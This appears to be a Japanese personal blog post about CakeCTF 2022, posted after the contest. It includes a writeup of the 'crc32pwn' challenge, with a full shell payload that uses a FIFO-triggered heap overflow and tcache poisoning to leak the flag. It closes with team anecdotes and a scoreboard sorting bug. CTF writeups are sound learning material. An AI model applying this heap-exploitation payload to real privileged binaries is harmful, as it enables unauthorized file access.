CakeCTF 2022 開催、ありがとう
たのしかったです。ありがとうございました。良質で面白い問題ばかり星5つです。
思ったことを羅列するエントリです。
crc32pwn writeup
この問題、非常に綺麗に解けたので、writeup書きます。なのでこのエントリはwriteupです。
問題設定
引数からファイル名の列を受け取って各ファイルのcrc32を計算してくれるバイナリ
pwn@88ce787fe93d:~$ crc32sum /etc/passwd /etc/hostname /etc/passwd: fda42dee /etc/hostname: 0a5ac61d
問題環境はシェルが提供されており、permission上crc32sumを用いればflagが読めるようになっている。
問題のCファイルはここにあるのでどうぞ。
libcは2.31。フラグの長さは53バイト。
方針
内部実装として、 fstat
をして st_size
を読んで、mallocでその分のサイズのバッファを生成し、そこにファイルの中身を読み出す、となっていて、例えば 名前付きFIFOなどの特殊ファイルは、st_size
が0になるので、ここでヒープバッファオーバーフローが起こる。
このバイナリでは、ファイル名を保存するバッファとファイルの中身を保存するバッファの2つを作るので、以下のようなヒープのレイアウトになるように、バッファの名前とファイルの中身を適切な長さを調整する。
┌────────────┐ │ A: 0x20 │ ├────────────┤ │ B: 0x20 │ ├────────────┤ │ │ │ C: 0x40 │ │ │ ├────────────┤ │ │ │ D: 0x40 │ │ │ └────────────┘
残る手順は、
- 上の状態を自然に作ると、tcache(0x20)が
A->B
, 0x40がC -> D
のようになる。ここでfifoをファイルとして与えるとmalloc(0)
が走りこれは0x20のバッファだと思われるので、fifoのファイル名も0x20くらいの長さで与えていると、Bのバッファをオーバーフローできる。 - ここで、Cのバッファの大きさを0x20に詐称しつつ、Cのtcacheのリンク先をDからAに変える。
- 一度flag.txtを確保すると、tcacheが、[0x20] -> A かつ[0x40] -> Aになる
- もう一度flag.txtを読み込むと、フラグの名前がAに書き込まれた後さらに、Aに中身が書き込まれ、ファイル名表示のタイミングで中身が表示される
ペイロード
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ > /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA mkfifo /tmp/hoge crc32sum \ /////////////////////////////////////////////////////////////////////////////////////////etc/passwd \ #ヒープの調整 /tmp/hoge \ # A -> Bの生成 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ # C -> Dの生成 /tmp/hoge \ # ヒープオーバーフローで[0x40] -> C -> Aにする(以下のAAAA...AQ | base64 -d の結果が来る) flag.txt \ # Cを剥がし、[0x20] -> A, [0x40] -> Aの状態にする flag.txt & # flag.txtを読ませると、Aにflag.txtを読ませた後、Aにさらにflag.txtの中身を書き込むので、ファイル名の表示でリークできる echo A > /tmp/hoge echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoQAAAAAAAAAQ | base64 -d > /tmp/hoge
感想
2時間ほどで解くことができて、1st bloodだった*1。賞品が得られるらしく、楽しみ *2
謎メタ読みで、ptr-yudaiの作問だから、ゴリゴリヒープをしなくても解けるようになっていると信じていた人のログ *3
信じるものは救われた
Advanced Player?
ここからその他感想です。
参加しようと思ったら、
This year we have reduced the difficulty level and the number of challenges a little more than in previous years. Advanced players are encouraged to participate solo or in teams with a couple of people.
らしくて、まあ歴は長いしこれに該当するのかもしれないなと思ったが、
- pwn以外マジで知らん
- 個人だとモチベが続かない気がする
- (日曜参加できないので、中途半端に終わりそう)
- (そもそもadvanced playerではない🙅)
などの理由で、普通に TSG として参加した。
これはちょっとカスで、若いTSGerが解くべき比較的簡単めなpwnの問題も自分が奪い取ってしまうという点があるんですよね、ごめんなさい。
ソロプレイヤーがつよい
順位表を見ると、TSGのすぐ下の3位に superflip(kusano_kさん)をはじめとして、ソロプレイヤーたちが並んでいる
(まあ典型よりとはいえ)多様なジャンルの問題を一人でポンポン解いていける人間、かなり尊敬している... 真のCTFプレイヤーです。
分業制
TSGの人間かなり、binaryを見る人間、cryptoをやる人間、webを見る人間が分かれていがちで(まあこおしいずさんとかは3ジャンルどれも見れたりするだろうが)、特に僕はcrypto、webについて何も分からないので、他のジャンルの問題が残っていると、ぺちぺちたたいたり
CakeCTF: matsushima3, Cake Memoryを解きました。ImageSurfingは博多市をぺちぺちしてたら解いてくれました💥
— mikit (@m1kit) September 4, 2022
オラクルとして人間を利用したり、
令呪を使ったりしている *4
実際CTF参加、チャットしながらわいわいしているのが本質で、これがなくソロでひたすら問題を解くの本当にかなり偉いなという感情が強いんですよね。僕は、CTFプレイヤーではないです。*5
kosenctfxで遊ぶ
上述の理由でCTF中に暇になったので、CakeCTFのスコアサーバーで使われている、kosenctfxについて調べてみました!
これは、 TSGのチーム詳細ページ なんですが、なぜか解いた時刻順に問題が並んでいません。どうしてなのでしょうか?
このCTFは、theoremoonさん謹製、kosenctfxでスコアサーバーがホストされているらしいです。
みんなでstarボタンを押して開発を応援しよう!
ところで、ソースコードを読んでみると、このページは、kosenctfx/[id].tsx at d2c9c0244031843533f56e8b81eb0382b52ad9c7 · theoremoon/kosenctfx · GitHubにあるファイルにあるようにlodashを用いてクライアント側でソートされているらしいです
{orderBy( Object.entries(teamScore.taskStats).map(([key, taskStat]) => ({ taskname: key, ...taskStat, })), ["solved_at"], ["desc"] ).map((task) => ( <tr key={task.taskname}> <td>{task.taskname}</td> <td>{task.points}</td> <td>{dateFormat(task.time)}</td> </tr> ))}
よく見てみると、下のコードでは、 task.time
を参照しているのに、lodashのorderByには solved_at
が渡されているようです。これのせいみたいですね?
いかがでしたでしょうか? ここで終わってもよいのですが、せっかくのCakeCTFをもっと完璧にしたい。自分の環境だけでも完全にすることはできないのでしょうか? そこで、こおしいずさんにどうすればよいか聞いたところ、Google Chromeの Overrides という機能を用いると直接スクリプトをいじってパッチすることができるらしいです。勉強になります。Overridesを設定して、
リロードしてみると、、、
ちゃんと時間順になりました、嬉しい!
kosenctfxの開発を陰ながら応援しています。
CTFをしていない
CTF、最近していなくて、まあこれはある意味で意図的なところもあったんですが *6、これだけやらないとさすがにやりたくなる。
Cake CTFくらいの問題を気分良く解くのが体に良いので、健康のためにも来年も開催してください。お願いします。